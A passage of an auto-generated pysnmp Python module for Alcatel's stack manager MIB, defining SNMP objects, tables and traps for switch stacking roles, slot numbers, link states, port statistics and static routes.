AlaStackMgrCommandStatus(TextualConvention, Integer32): description = 'Identifies the current status of the last action command received as follows: - notSignificant(0), - clearSlotInProgress(1), - clearSlotFailed(2), - clearSlotSuccess(3), - setSlotInProgress(4), - setSlotFailed(5), - setSlotSuccess(6).' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6)) namedValues = NamedValues(("notSignificant", 0), ("clearSlotInProgress", 1), ("clearSlotFailed", 2), ("clearSlotSuccess", 3), ("setSlotInProgress", 4), ("setSlotFailed", 5), ("setSlotSuccess", 6)) class AlaStackMgrStackingMode(TextualConvention, Integer32): description = 'Stacking mode, which specifies the ability of a switch to be part of a set of switches or virtual chassis: - stackable(1) :the switch may be stacked with other switches in the same virtual chassis. - standalone(2) :the switch is not allowed to be stacked together with other switches.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2)) namedValues = NamedValues(("stackable", 1), ("standalone", 2)) alaStackMgrChassisTable = MibTable((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1), ) if mibBuilder.loadTexts: alaStackMgrChassisTable.setStatus('current') if mibBuilder.loadTexts: alaStackMgrChassisTable.setDescription('Maintains a list with information about all the switches that participate on the stack herein refered to as chassis.') alaStackMgrChassisEntry = MibTableRow((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1), ).setIndexNames((0, "ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber")) if mibBuilder.loadTexts: alaStackMgrChassisEntry.setStatus('current') if mibBuilder.loadTexts: alaStackMgrChassisEntry.setDescription('Each entry corresponds to a chassis and lists its role and neighbors in the stack.') alaStackMgrSlotNINumber = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 1), AlaStackMgrNINumber()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrSlotNINumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrSlotNINumber.setDescription('Numbers allocated for the stack NIs as follows: - 0: invalid slot number - 1..8: valid and assigned slot numbers corresponding to values from the entPhysicalTable - 1001..1008: swicthes operating in pass through mode - 255: unassigned slot number.') alaStackMgrSlotCMMNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 72))).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrSlotCMMNumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrSlotCMMNumber.setDescription('The numbers allocated for the stack CMMs are from 65..72 or 0 if not present') alaStackMgrChasRole = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 3), AlaStackMgrSlotRole()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrChasRole.setStatus('current') if mibBuilder.loadTexts: alaStackMgrChasRole.setDescription('The current role of the chassis as follows: - unassigned(0), - primary(1), - secondary(2), - idle(3), - standalone(4), - passthrough(5).') alaStackMgrLocalLinkStateA = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 4), AlaStackMgrLinkStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrLocalLinkStateA.setStatus('current') if mibBuilder.loadTexts: alaStackMgrLocalLinkStateA.setDescription('1 indicates that the stacking link A is up, which means it knows its adjacent node. 2 indicates that the stacking link A is inactive and RemoteNISlotA and RemoteLinkA are not significants.') alaStackMgrRemoteNISlotA = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 5), AlaStackMgrNINumber()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrRemoteNISlotA.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRemoteNISlotA.setDescription(' This is the remote NI slot seen by the current NI through its stacking link A. The numbers allocated for the Stack NIs are 1..8, 1001..1008 or 0 if not present') alaStackMgrRemoteLinkA = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 6), AlaStackMgrLinkNumber()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrRemoteLinkA.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRemoteLinkA.setDescription('This is the remote link of the remote NI slot seen through the stacking link A. The values for these ports are platform dependent. The possible values are: - 0: not present - linkA: 25, 27, 29, 31 or 51 - linkB: 26, 28, 30, 32 or 52.') alaStackMgrLocalLinkStateB = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 7), AlaStackMgrLinkStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrLocalLinkStateB.setStatus('current') if mibBuilder.loadTexts: alaStackMgrLocalLinkStateB.setDescription('1 indicates that the stacking link B is up, which means it knows its adjacent node. 2 indicates that the stacking link B is inactive and RemoteNISlotB and RemoteLinkB are not significants.') alaStackMgrRemoteNISlotB = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 8), AlaStackMgrNINumber()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrRemoteNISlotB.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRemoteNISlotB.setDescription(' This is the remote NI slot seen by the current NI through its stacking link B. The numbers allocated for the Stack NIs are 1..8, 1001..1008 or 0 if not present') alaStackMgrRemoteLinkB = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 9), AlaStackMgrLinkNumber()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrRemoteLinkB.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRemoteLinkB.setDescription('This is the remote link of the remote NI slot seen through the stacking link B. The values for these ports are platform dependent. The possible values are: - 0: not present - linkA: 25, 27, 29, 31 or 51 - linkB: 26, 28, 30, 32 or 52.') alaStackMgrChasState = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 10), AlaStackMgrSlotState()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrChasState.setStatus('current') if mibBuilder.loadTexts: alaStackMgrChasState.setDescription('This current state of the chassis: running (1), duplicateSlot (2), clearedSlot (3), outOfSlots (4), outOfTokens (5), or badMix (6).') alaStackMgrSavedSlotNINumber = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 11), AlaStackMgrNINumber()).setMaxAccess("readwrite") if mibBuilder.loadTexts: alaStackMgrSavedSlotNINumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrSavedSlotNINumber.setDescription('Slot number stored in persistent memory that will be in effect if the stack element reboots. Only slot numbers in the range 1..8 are allowed.') alaStackMgrCommandAction = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 12), AlaStackMgrCommandAction()).setMaxAccess("readwrite") if mibBuilder.loadTexts: alaStackMgrCommandAction.setStatus('current') if mibBuilder.loadTexts: alaStackMgrCommandAction.setDescription('This object identifies which of the following Actions is to be performed: clearSlot(1), clearSlotImmediately (2) or reload (3). Whenever a new command is received, the value of the object alaStackMgrCommandStatus will be updated accordingly.') alaStackMgrCommandStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 13), AlaStackMgrCommandStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrCommandStatus.setStatus('current') if mibBuilder.loadTexts: alaStackMgrCommandStatus.setDescription('This object provides the current status of last command received from the management as follows: notSignificant(0), clearSlotInProgress(1), clearSlotFailed(2), clearSlotSuccess(3), setSlotInProgress(4), setSlotFailed(5) or setSlotSuccess(6). New commands are only accepted if the value of this object is different than setSlotInProgress and clearSlotInProgress.') alaStackMgrOperStackingMode = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 14), AlaStackMgrStackingMode()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrOperStackingMode.setStatus('current') if mibBuilder.loadTexts: alaStackMgrOperStackingMode.setDescription('This object specifies the current running mode of the switch.') alaStackMgrAdminStackingMode = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 15), AlaStackMgrStackingMode()).setMaxAccess("readwrite") if mibBuilder.loadTexts: alaStackMgrAdminStackingMode.setStatus('current') if mibBuilder.loadTexts: alaStackMgrAdminStackingMode.setDescription('This object specifies the stack mode atained on reload.') alaStackMgrStatsTable = MibTable((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2), ) if mibBuilder.loadTexts: alaStackMgrStatsTable.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatsTable.setDescription('Stack port statistics table.') alaStackMgrStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1), ).setIndexNames((0, "ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber"), (0, "ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrStatLinkNumber")) if mibBuilder.loadTexts: alaStackMgrStatsEntry.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatsEntry.setDescription(' Stats table for stackable ports.') alaStackMgrStatLinkNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 1), AlaStackMgrLinkNumber()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrStatLinkNumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatLinkNumber.setDescription(' Local link refers to the stacking port on each slot. The values of these ports are: - linkA: 25, 27, 29, 31 or 51 - linkB: 26, 28, 30, 32 or 52.') alaStackMgrStatPktsRx = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 2), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrStatPktsRx.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatPktsRx.setDescription('The total number of packets recieved on this port.') alaStackMgrStatPktsTx = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrStatPktsTx.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatPktsTx.setDescription('The total number of packets transmitted on this port.') alaStackMgrStatErrorsRx = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrStatErrorsRx.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatErrorsRx.setDescription('The total number of packets in error - received on the port.') alaStackMgrStatErrorsTx = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrStatErrorsTx.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatErrorsTx.setDescription('The total number of packets in error - transmitted on the port.') alaStackMgrStatDelayFromLastMsg = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrStatDelayFromLastMsg.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatDelayFromLastMsg.setDescription('The delay since the last message.') alaStackMgrStackStatus = MibScalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 3), AlaStackMgrStackStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrStackStatus.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStackStatus.setDescription('Indicates whether the Stack is or not in Loop.') alaStackMgrTokensUsed = MibScalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrTokensUsed.setStatus('current') if mibBuilder.loadTexts: alaStackMgrTokensUsed.setDescription('Indicates the total number of tokens that have been allocated to all the elements in the stack.') alaStackMgrTokensAvailable = MibScalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrTokensAvailable.setStatus('current') if mibBuilder.loadTexts: alaStackMgrTokensAvailable.setDescription('Indicates the total number of tokens that are still available and that potentially may be allocated to elements of the stack.') alaStackMgrStaticRouteTable = MibTable((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6), ) if mibBuilder.loadTexts: alaStackMgrStaticRouteTable.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteTable.setDescription('Maintains a list with information about all the static routes in the stack.') alaStackMgrStaticRouteEntry = MibTableRow((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1), ).setIndexNames((0, "ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrStaticRouteSrcStartIf"), (0, "ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrStaticRouteSrcEndIf"), (0, "ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrStaticRouteDstStartIf"), (0, "ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrStaticRouteDstEndIf")) if mibBuilder.loadTexts: alaStackMgrStaticRouteEntry.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteEntry.setDescription('Each entry corresponds to a static route and lists its source and destination in the stack.') alaStackMgrStaticRouteSrcStartIf = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 1), InterfaceIndex()) if mibBuilder.loadTexts: alaStackMgrStaticRouteSrcStartIf.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteSrcStartIf.setDescription('The physical identification number for start source range of the static route') alaStackMgrStaticRouteSrcEndIf = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 2), InterfaceIndex()) if mibBuilder.loadTexts: alaStackMgrStaticRouteSrcEndIf.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteSrcEndIf.setDescription('The physical identification number for end source range of the static route') alaStackMgrStaticRouteDstStartIf = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 3), InterfaceIndex()) if mibBuilder.loadTexts: alaStackMgrStaticRouteDstStartIf.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteDstStartIf.setDescription('The physical identification number for start destination range of the static route') alaStackMgrStaticRouteDstEndIf = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 4), InterfaceIndex()) if mibBuilder.loadTexts: alaStackMgrStaticRouteDstEndIf.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteDstEndIf.setDescription('The physical identification number for end destination range of the static route') alaStackMgrStaticRoutePort = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 5), AlaStackMgrLinkNumber().clone(1)).setMaxAccess("readwrite") if mibBuilder.loadTexts: alaStackMgrStaticRoutePort.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRoutePort.setDescription('This is the stack link to the destination NI slot . The values for these ports are platform dependent. The possible values are: - 0: not present - linkA: 25, 27, 29, 31 or 51 - linkB: 26, 28, 30, 32 or 52. Incase of static routesthe value is either 1(STACKA) or 2(STACKB)') alaStackMgrStaticRoutePortState = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 6), AlaStackMgrLinkStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: alaStackMgrStaticRoutePortState.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRoutePortState.setDescription('1 indicates that the static route stacking link is up . 2 indicates that the stacking link is inactive.') alaStackMgrStaticRouteStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("on", 1), ("off", 2))).clone('on')).setMaxAccess("readwrite") if mibBuilder.loadTexts: alaStackMgrStaticRouteStatus.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteStatus.setDescription('Whether this static route is enabled or disabled .') alaStackMgrStaticRouteRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 8), RowStatus()).setMaxAccess("readwrite") if mibBuilder.loadTexts: alaStackMgrStaticRouteRowStatus.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteRowStatus.setDescription('The status of this table entry. ') alaStackMgrTrapLinkNumber = MibScalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 3, 1), AlaStackMgrLinkNumber()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: alaStackMgrTrapLinkNumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrTrapLinkNumber.setDescription('Holds the link number, when the stack is not in loop.') alaStackMgrPrimary = MibScalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 3, 2), AlaStackMgrNINumber()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: alaStackMgrPrimary.setStatus('current') if mibBuilder.loadTexts: alaStackMgrPrimary.setDescription('Holds the slot number of the stack element that plays the role of Primary.') alaStackMgrSecondary = MibScalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 3, 3), AlaStackMgrNINumber()).setMaxAccess("accessiblefornotify") if mibBuilder.loadTexts: alaStackMgrSecondary.setStatus('current') if mibBuilder.loadTexts: alaStackMgrSecondary.setDescription('Holds the slot number of the stack element that plays the role of Secondary.') alaStackMgrDuplicateSlotTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 1)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber")) if mibBuilder.loadTexts: alaStackMgrDuplicateSlotTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrDuplicateSlotTrap.setDescription('The element specified by alaStackMgrSlotNINumber has the same slot number of another element of the stack and it must relinquish its operational status because it has a higher election key (up time, slot, mac). The elements will be put in pass through mode.') alaStackMgrNeighborChangeTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 2)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrStackStatus"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrTrapLinkNumber")) if mibBuilder.loadTexts: alaStackMgrNeighborChangeTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrNeighborChangeTrap.setDescription('Indicates whether the stack is in loop or not. In case of no loop, alaStackMgrSlotNINumber and alaStackMgrTrapLinkNumber indicate where the Stack is broken') alaStackMgrRoleChangeTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 3)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrPrimary"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSecondary")) if mibBuilder.loadTexts: alaStackMgrRoleChangeTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRoleChangeTrap.setDescription(' Role Change Trap. Indicates that a new primary or secondary is elected.') alaStackMgrDuplicateRoleTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 4)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrChasRole")) if mibBuilder.loadTexts: alaStackMgrDuplicateRoleTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrDuplicateRoleTrap.setDescription('The element identified by alaStackMgrSlotNINumber detected the presence of two elements with the same primary or secondary role as specified by alaStackMgrChasRole on the stack.') alaStackMgrClearedSlotTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 5)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber")) if mibBuilder.loadTexts: alaStackMgrClearedSlotTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrClearedSlotTrap.setDescription('The element identified by alaStackMgrSlotNINumber will enter the pass through mode because its operational slot was cleared with immediate effect.') alaStackMgrOutOfSlotsTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 6)) if mibBuilder.loadTexts: alaStackMgrOutOfSlotsTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrOutOfSlotsTrap.setDescription('One element of the stack will enter the pass through mode because there are no slot numbers available to be assigned to this element.') alaStackMgrOutOfTokensTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 7)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber")) if mibBuilder.loadTexts: alaStackMgrOutOfTokensTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrOutOfTokensTrap.setDescription('The element identified by alaStackMgrSlotNINumber will enter the pass through mode because there are no tokens available to be assigned to this element.') alaStackMgrOutOfPassThruSlotsTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 8)) if mibBuilder.loadTexts: alaStackMgrOutOfPassThruSlotsTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrOutOfPassThruSlotsTrap.setDescription('There are no pass through slots available to be assigned to an element that is supposed to enter the pass through mode.') alaStackMgrBadMixTrap = NotificationType((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 9)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber")) if mibBuilder.loadTexts: alaStackMgrBadMixTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrBadMixTrap.setDescription('The element identified by alaStackMgrSlotNINumber will enter the pass through mode because it is not compatible with the existing stack.') alcatelIND1StackMgrMIBGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 1)) alcatelIND1StackMgrMIBCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 2)) alaStackMgrCfgMgrGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 1, 1)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotNINumber"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSlotCMMNumber"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrChasRole"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrLocalLinkStateA"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrRemoteNISlotA"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrRemoteLinkA"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrLocalLinkStateB"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrRemoteNISlotB"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrRemoteLinkB"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrChasState"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrSavedSlotNINumber"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrCommandAction"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrCommandStatus"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrOperStackingMode"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrAdminStackingMode")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): alaStackMgrCfgMgrGroup = alaStackMgrCfgMgrGroup.setStatus('current') if mibBuilder.loadTexts: alaStackMgrCfgMgrGroup.setDescription('A collection of objects providing information about the topology of the stack .') alaStackMgrNotificationGroup = NotificationGroup((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 1, 2)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrDuplicateSlotTrap"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrNeighborChangeTrap"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrRoleChangeTrap"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrDuplicateRoleTrap"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrClearedSlotTrap"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrOutOfSlotsTrap"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrOutOfTokensTrap"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrOutOfPassThruSlotsTrap"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrBadMixTrap")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): alaStackMgrNotificationGroup = alaStackMgrNotificationGroup.setStatus('current') if mibBuilder.loadTexts: alaStackMgrNotificationGroup.setDescription('A collection of notifications for signaling Stack manager events.') alcatelIND1StackMgrMIBCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 2, 1)).setObjects(("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrCfgMgrGroup"), ("ALCATEL-IND1-STACK-MANAGER-MIB", "alaStackMgrNotificationGroup")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): alcatelIND1StackMgrMIBCompliance = alcatelIND1StackMgrMIBCompliance.setStatus('current') if mibBuilder.loadTexts: alcatelIND1StackMgrMIBCompliance.setDescription('The compliance statement for device support of Stack Manager.') mibBuilder.exportSymbols("ALCATEL-IND1-STACK-MANAGER-MIB", alaStackMgrStatPktsTx=alaStackMgrStatPktsTx, alaStackMgrNeighborChangeTrap=alaStackMgrNeighborChangeTrap, AlaStackMgrNINumber=AlaStackMgrNINumber, alaStackMgrStaticRoutePortState=alaStackMgrStaticRoutePortState, alaStackMgrDuplicateRoleTrap=alaStackMgrDuplicateRoleTrap, alaStackMgrTrapLinkNumber=alaStackMgrTrapLinkNumber, alaStackMgrOutOfSlotsTrap=alaStackMgrOutOfSlotsTrap, alaStackMgrOutOfPassThruSlotsTrap=alaStackMgrOutOfPassThruSlotsTrap, alaStackMgrDuplicateSlotTrap=alaStackMgrDuplicateSlotTrap, alaStackMgrRoleChangeTrap=alaStackMgrRoleChangeTrap, alaStackMgrLocalLinkStateA=alaStackMgrLocalLinkStateA, alaStackMgrCfgMgrGroup=alaStackMgrCfgMgrGroup, alcatelIND1StackMgrMIBObjects=alcatelIND1StackMgrMIBObjects, alaStackMgrStatPktsRx=alaStackMgrStatPktsRx, alaStackMgrStaticRouteRowStatus=alaStackMgrStaticRouteRowStatus, alcatelIND1StackMgrMIBCompliance=alcatelIND1StackMgrMIBCompliance, alaStackMgrSecondary=alaStackMgrSecondary, alaStackMgrAdminStackingMode=alaStackMgrAdminStackingMode, alaStackMgrStatDelayFromLastMsg=alaStackMgrStatDelayFromLastMsg, AlaStackMgrSlotState=AlaStackMgrSlotState, alaStackMgrChassisEntry=alaStackMgrChassisEntry, alaStackMgrStaticRouteDstStartIf=alaStackMgrStaticRouteDstStartIf, PYSNMP_MODULE_ID=alcatelIND1StackMgrMIB, alaStackMgrStaticRouteStatus=alaStackMgrStaticRouteStatus, AlaStackMgrSlotRole=AlaStackMgrSlotRole, alaStackMgrNotificationGroup=alaStackMgrNotificationGroup, alaStackMgrStatErrorsTx=alaStackMgrStatErrorsTx, alaStackMgrStatLinkNumber=alaStackMgrStatLinkNumber, alcatelIND1StackMgrMIB=alcatelIND1StackMgrMIB, alaStackMgrRemoteNISlotB=alaStackMgrRemoteNISlotB, alaStackMgrStackStatus=alaStackMgrStackStatus, alaStackMgrStaticRoutePort=alaStackMgrStaticRoutePort, AlaStackMgrCommandStatus=AlaStackMgrCommandStatus, alaStackMgrStatsEntry=alaStackMgrStatsEntry, AlaStackMgrCommandAction=AlaStackMgrCommandAction, AlaStackMgrLinkStatus=AlaStackMgrLinkStatus, alaStackMgrStaticRouteDstEndIf=alaStackMgrStaticRouteDstEndIf, alaStackMgrRemoteNISlotA=alaStackMgrRemoteNISlotA, 